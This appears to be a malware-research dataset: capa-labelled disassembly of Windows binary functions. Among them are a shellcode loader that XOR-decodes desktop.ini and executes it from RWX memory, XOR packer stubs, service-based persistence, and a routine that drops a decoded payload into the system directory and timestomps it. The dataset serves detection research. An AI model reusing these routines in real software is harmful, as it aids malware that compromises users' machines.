joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d8cf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4d8d43
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4d8d2a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4df6d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x51798e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004dfff0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x529e64
call fcn.005097e4
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x4df763
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.005097e4
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x4df75c
push 0
mov ecx, eax
call fcn.004d6870
mov dword [esi + 0xc], eax
jmp 0x4df765
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x4df765
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x50be2d
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x50be65
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00509efe
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00509ed6
jmp 0x50be71
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x50d51b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x50d55d
call fcn.00512e9b
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
cmp eax, edi
je 0x50d55d
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
cmp eax, edi
jne 0x50d554
xor eax, eax
jmp 0x50d565
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0050d56b
pop edi
pop esi
pop ebx
ret 4
Function at 0x5133cb
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x5133f9
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
test eax, eax
je 0x513417
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00513331
jmp 0x513417
mov eax, dword [esi + 0x14]
test eax, eax
je 0x513417
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00513331
test edi, edi
mov eax, edi
jne 0x513401
pop edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x33022d9d
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x43773757
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401050
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x42a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, ecx
lea edi, [ebp - 0x24]
push 8
pop ecx
mov esi, edx
mov dword [ebp - 0x30], ebx
rep movsd dword es:[edi], dword [esi]
xor esi, esi
mov ecx, esi
mov al, byte [ebp + ecx - 0x24]
add al, 0x11
add al, cl
not al
mov byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0x20
jb 0x401076
lea eax, [ebp - 0x24]
sub eax, ebx
lea edx, [ebx + 2]
mov dword [ebp - 0x34], eax
mov ecx, edx
lea eax, [ebp - 0x23]
mov dword [ebp - 0x38], edx
mov edx, dword [ebp - 0x34]
sub eax, ebx
push 8
pop edi
mov ebx, eax
mov al, byte [ebp + esi*4 - 0x24]
mov byte [ecx - 2], al
mov al, byte [ebp + esi*4 - 0x23]
inc esi
mov byte [ecx - 1], al
mov al, byte [edx + ecx]
mov byte [ecx], al
mov al, byte [ebx + ecx]
lea ecx, [ecx + 4]
mov byte [ecx - 3], al
cmp esi, edi
jb 0x4010a7
mov ebx, dword [ebp - 0x30]
lea eax, [ebx + 1]
lea ecx, [ebx + 3]
sub ebx, eax
mov dword [ebp - 0x3c], ebx
lea edx, [ecx + 0x20]
mov ebx, ecx
mov dword [ebp - 0x34], edx
mov edx, dword [ebp - 0x38]
lea esi, [eax + 0x1c]
sub ebx, eax
mov dword [ebp - 0x2c], edx
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], ebx
mov ebx, dword [ebp - 0x30]
mov eax, ebx
sub eax, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
sub eax, edx
sub ebx, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x30], ebx
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x38]
mov cl, byte [esi]
mov byte [ebp - 0x25], cl
mov ch, byte [eax + esi]
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + esi]
mov byte [ebp - 0x26], al
mov al, byte [ebx + esi]
mov ebx, dword [ebp - 0x30]
mov byte [ebp - 0x27], al
mov eax, edi
and eax, 7
mov dword [ebp - 0x40], eax
jne 0x401172
movzx eax, byte [ebp - 0x25]
mov cl, ch
mov ch, byte [eax + 0x4274f0]
movzx eax, byte [ebp - 0x26]
mov ah, byte [eax + 0x4274f0]
mov byte [ebp - 0x25], ah
movzx eax, byte [ebp - 0x27]
mov al, byte [eax + 0x4274f0]
mov byte [ebp - 0x26], al
movzx eax, cl
mov cl, byte [ebp - 0x25]
mov al, byte [eax + 0x4274f0]
mov byte [ebp - 0x27], al
mov eax, edi
shr eax, 3
xor ch, byte [eax + 0x4276f0]
mov eax, dword [ebp - 0x40]
cmp eax, 4
jne 0x4011a6
movzx eax, ch
mov ch, byte [eax + 0x4274f0]
movzx eax, cl
mov al, byte [eax + 0x4274f0]
mov byte [ebp - 0x25], al
movzx eax, byte [ebp - 0x26]
mov al, byte [eax + 0x4274f0]
mov byte [ebp - 0x26], al
movzx eax, byte [ebp - 0x27]
mov al, byte [eax + 0x4274f0]
mov byte [ebp - 0x27], al
mov eax, dword [ebp - 0x44]
mov al, byte [eax + edx]
xor al, ch
mov ecx, dword [ebp - 0x34]
mov byte [ebx + ecx], al
mov al, byte [esi - 0x1c]
xor al, byte [ebp - 0x25]
mov byte [esi + 4], al
add esi, 4
mov al, byte [edx]
xor al, byte [ebp - 0x26]
mov byte [edx + 0x20], al
mov eax, dword [ebp - 0x48]
mov al, byte [eax + edx]
add edx, 4
xor al, byte [ebp - 0x27]
inc edi
mov byte [ecx], al
add ecx, 4
mov dword [ebp - 0x34], ecx
cmp edi, 0x3c
jb 0x401105
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004044b5
mov esp, ebp
pop ebp
ret
Function at 0x401626
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, edx
push edi
mov edi, ecx
mov dword [ebp - 4], edi
lea eax, [edi + 0xf0]
mov dword [ebp - 8], eax
mov edx, eax
test ebx, ebx
je 0x401675
dec ebx
shr ebx, 4
inc ebx
push 0x10
mov ecx, esi
sub edx, esi
pop edi
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub edi, 1
jne 0x401653
mov edx, dword [ebp - 4]
mov ecx, esi
call fcn.004014b6
mov edx, esi
add esi, 0x10
sub ebx, 1
jne 0x40164c
mov eax, dword [ebp - 8]
mov esi, edx
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401684
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, edx
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 8]
test edx, edx
je 0x4016ef
lea eax, [ecx + 0xf0]
mov dword [ebp - 8], eax
sub eax, ebx
mov dword [ebp + 8], eax
lea eax, [edx - 1]
shr eax, 4
inc eax
push esi
mov dword [ebp - 4], eax
push edi
mov esi, ebx
lea edi, [ebp - 0x1c]
mov edx, ecx
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00401574
mov ecx, dword [ebp + 8]
push 0x10
pop edx
mov al, byte [ecx + ebx]
xor byte [ebx], al
inc ebx
sub edx, 1
jne 0x4016c9
mov edi, dword [ebp - 8]
lea esi, [ebp - 0x1c]
sub ecx, 0x10
sub dword [ebp - 4], 1
mov dword [ebp + 8], ecx
mov ecx, dword [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
jne 0x4016b1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4028b8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfd8
mov eax, dword [0x42a004]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0xfd8], 0
lea eax, [ebp - 0xfd4]
push ebx
push esi
push 0xfd0
push 0
push eax
mov esi, edx
mov ebx, ecx
call fcn.00406f90
mov edx, dword [ebp + 8]
lea eax, [ebp - 0xfd4]
pop ecx
pop ecx
push eax
sub esp, 0xc
mov ecx, esi
call fcn.004019f0
add esp, 0x14
test eax, eax
jns 0x40290d
or eax, 0xffffffff
jmp 0x40295d
lea esi, [ebp - 0xfd4]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x402916
push edi
sub esi, ecx
xor edi, edi
push 0
lea eax, [ebp - 0xfd8]
push eax
mov eax, esi
sub eax, edi
push eax
lea eax, [ebp - 0xfd4]
add eax, edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402953
add edi, dword [ebp - 0xfd8]
cmp edi, esi
jl 0x402922
xor eax, eax
inc eax
jmp 0x40295c
call dword [sym.imp.KERNEL32.dll_GetLastError]
or eax, 0xffffffff
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004044b5
mov esp, ebp
pop ebp
ret
Function at 0x40296d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfe0
mov eax, dword [0x42a004]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0xfd8], 0
lea eax, [ebp - 0xfd4]
push ebx
push esi
push 0xfd0
mov ebx, ecx
mov dword [ebp - 0xfe0], edx
push 0
push eax
mov dword [ebp - 0xfdc], ebx
call fcn.00406f90
add esp, 0xc
xor esi, esi
push 0
lea eax, [ebp - 0xfd8]
push eax
mov eax, 0xfd0
sub eax, esi
push eax
lea eax, [ebp - 0xfd4]
add eax, esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, eax
test ebx, ebx
jne 0x4029e3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x4029f5
add esi, dword [ebp - 0xfd8]
test ebx, ebx
jne 0x402a00
mov ebx, dword [ebp - 0xfdc]
jmp 0x4029af
call dword [sym.imp.KERNEL32.dll_GetLastError]
or eax, 0xffffffff
jmp 0x402a30
push dword [ebp + 8]
mov edx, esi
lea ecx, [ebp - 0xfd4]
push dword [ebp - 0xfe0]
push 0x57d20
push str.dbe113959660426ee70c233aedd166c8
push str.44e061a68ee8a76229d51517437988e92b79d45056204038beda458f5e2a827a
call fcn.0040187d
or ecx, 0xffffffff
add esp, 0x14
test eax, eax
cmovs eax, ecx
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004044b5
mov esp, ebp
pop ebp
ret

Function at 0x403282
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x42a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xf003f
xor ebx, ebx
mov edi, ecx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x4032d6
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
push 1
push 2
push 0x10
push 4
push 0x5362b8
mov ebx, 0x535bb8
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
test eax, eax
jne 0x4032ea
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004044b5
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call edi
push 0xf01ff
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
mov dword [ebp - 8], 0x5359b8
lea eax, [ebp - 8]
push eax
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
test ebx, ebx
je 0x40331d
push ebx
call edi
push esi
call edi
xor eax, eax
inc eax
jmp 0x4032d9
Function at 0x403325
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x20]
push 7
xor eax, eax
xor ebx, ebx
pop ecx
rep stosd dword es:[edi], eax
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x40334b
sub ecx, edx
sar ecx, 1
jne 0x403363
xor al, al
jmp 0x4033e3
xor eax, eax
inc eax
push eax
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x4033e1
push 0x10024
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x40338c
mov bl, 1
jmp 0x4033d1
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x4033bf
jmp 0x4033b0
cmp dword [ebp - 0x1c], 3
jne 0x4033bf
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x40339f
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
movzx ebx, bl
push 1
pop eax
cmovne ebx, eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
test esi, esi
je 0x4033e1
push esi
call edi
mov al, bl
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004044b5
mov esp, ebp
pop ebp
ret

Function at 0x4033f4
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x42a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 7
mov ebx, ecx
lea edi, [ebp - 0x20]
pop ecx
xor eax, eax
push 1
push eax
rep stosd dword es:[edi], eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x403490
push 0x10024
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
je 0x403480
lea eax, [ebp - 0x20]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40346f
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
jmp 0x40345c
cmp eax, 3
jne 0x40346a
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x20]
push eax
push edi
call ebx
test eax, eax
mov eax, dword [ebp - 0x1c]
jne 0x40344f
cmp eax, 1
jne 0x403480
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
xor eax, eax
inc eax
jmp 0x403493
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
test edi, edi
je 0x403490
push edi
call esi
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004044b5
mov esp, ebp
pop ebp
ret
Function at 0x4036d7
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x200c
call fcn.0041b930
mov eax, dword [0x42a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x2004]
push edi
mov edi, 0x2000
xor ebx, ebx
push edi
push ebx
push eax
call fcn.00406f90
add esp, 0xc
mov dword [ebp - 0x2008], edi
lea eax, [ebp - 0x200c]
mov dword [ebp - 0x200c], ebx
push eax
push 1
push ebx
push 0x535fb8
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40373e
or eax, 0xffffffff
jmp 0x4037c3
lea eax, [ebp - 0x2008]
push eax
lea eax, [ebp - 0x2004]
push eax
push ebx
push ebx
push 0x5360b8
push dword [ebp - 0x200c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x200c]
test eax, eax
je 0x403771
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x403736
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x2008]
mov eax, ebx
shr ecx, 1
je 0x4037a7
cmp word [ebp + eax*2 - 0x2004], bx
jne 0x4037a2
push 0xd
pop edx
mov word [ebp + eax*2 - 0x2004], dx
cmp word [ebp + eax*2 - 0x2002], bx
je 0x4037a7
inc eax
cmp eax, ecx
jb 0x403783
lea edx, [ebp - 0x2004]
mov eax, edx
sub esi, eax
movzx ecx, word [edx]
mov word [esi + edx], cx
lea edx, [edx + 2]
test cx, cx
jne 0x4037b1
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004044b5
mov esp, ebp
pop ebp
ret
Function at 0x4037d4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2010
call fcn.0041b930
mov eax, dword [0x42a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, edx
push 0x2000
push eax
mov dword [ebp - 0x200c], eax
lea eax, [ebp - 0x2004]
push eax
mov dword [ebp - 0x2010], ebx
call fcn.00406f90
add esp, 0xc
lea eax, [ebp - 0x2008]
push eax
push 2
xor eax, eax
push eax
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40383d
or eax, 0xffffffff
jmp 0x403908
lea edx, [ebp - 0x2004]
mov ecx, edi
sub edx, edi
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x403847
cmp dword [ebp + 0x10], 7
jne 0x4038ba
mov ecx, edi
xor eax, eax
mov edx, eax
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 0x200c]
jne 0x403865
sub ecx, esi
sar ecx, 1
je 0x4038ba
xor ebx, ebx
cmp word [ebp + edx*2 - 0x2004], 0xd
jne 0x40389b
xor eax, eax
mov word [ebp + edx*2 - 0x2004], ax
cmp word [ebp + edx*2 - 0x2002], bx
je 0x4038b4
mov ecx, edi
inc edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x4038a1
sub ecx, esi
sar ecx, 1
cmp edx, ecx
jb 0x40387c
mov ebx, dword [ebp - 0x2010]
lea ecx, [edi + 2]
xor edx, edx
mov ax, word [edi]
add edi, 2
cmp ax, dx
jne 0x4038bf
sub edi, ecx
sar edi, 1
lea eax, [edi*2 + 2]
push eax
lea eax, [ebp - 0x2004]
push eax
push dword [ebp + 0x10]
push edx
push ebx
push dword [ebp - 0x2008]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x4038f7
or esi, 0xffffffff
jmp 0x4038fa
xor esi, esi
inc esi
push dword [ebp - 0x2008]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004044b5
mov esp, ebp
pop ebp
ret
Function at 0x403f8f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x125c
call fcn.0041b930
mov eax, dword [0x42a004]
xor eax, esp
mov dword [esp + 0x1258], eax
push ebx
push esi
push edi
mov edi, 0x800
lea eax, [esp + 0x260]
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push eax
call fcn.00406f90
push edi
lea eax, [esp + 0xa70]
push ebx
push eax
call fcn.00406f90
add esp, 0x18
lea eax, [esp + 0x260]
push 0x400
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x427cec
lea eax, [esp + 0x264]
push eax
lea eax, [esp + 0xa68]
push 0x427cf4
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0xa64]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
or edi, 0xffffffff
cmp eax, edi
jne 0x40402e
mov eax, edi
jmp 0x404071
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, edi
je 0x40402a
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
mov ecx, dword [esp + 0x1264]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004044b5
mov esp, ebp
pop ebp
ret

Function at 0x404086
Capabilities:
Encode data using xor
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.0041b930
mov eax, dword [0x42a004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov esi, 0x800
lea eax, [ebp - 0x1004]
xor edi, edi
push esi
push edi
push eax
mov dword [ebp - 0x1008], edi
call fcn.00406f90
push esi
lea eax, [ebp - 0x804]
push edi
push eax
call fcn.00406f90
add esp, 0x18
lea eax, [ebp - 0x1004]
push 0x400
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x427d00
mov esi, 0x5361b8
push esi
call fcn.00406a65
pop ecx
pop ecx
test eax, eax
je 0x40410e
mov ecx, edi
movzx eax, word [ecx + 0x5361b8]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x806], ax
test ax, ax
jne 0x4040f5
jmp 0x40412b
push esi
lea eax, [ebp - 0x1004]
push eax
lea eax, [ebp - 0x804]
push 0x427cf4
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push edi
push edi
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40414f
or eax, 0xffffffff
jmp 0x4041a9
mov eax, edi
mov ecx, 0x10a200
movups xmm0, xmmword [eax + 0x42a870]
pxor xmm0, xmmword [0x427d30]
movups xmmword [eax + 0x42a870], xmm0
add eax, 0x10
cmp eax, ecx
jl 0x404156
push edi
lea eax, [ebp - 0x1008]
push eax
push ecx
push 0x42a870
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x404195
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40414a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x804]
call fcn.00403f8f
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004044b5
mov esp, ebp
pop ebp
ret
Function at 0x404488
Capabilities:
Create thread

Disassembly:
push ebx
push edi
xor ebx, ebx
mov edi, 0x4036b6
push ebx
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.004041b9
push ebx
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
xor eax, eax
pop ebx
ret 0x10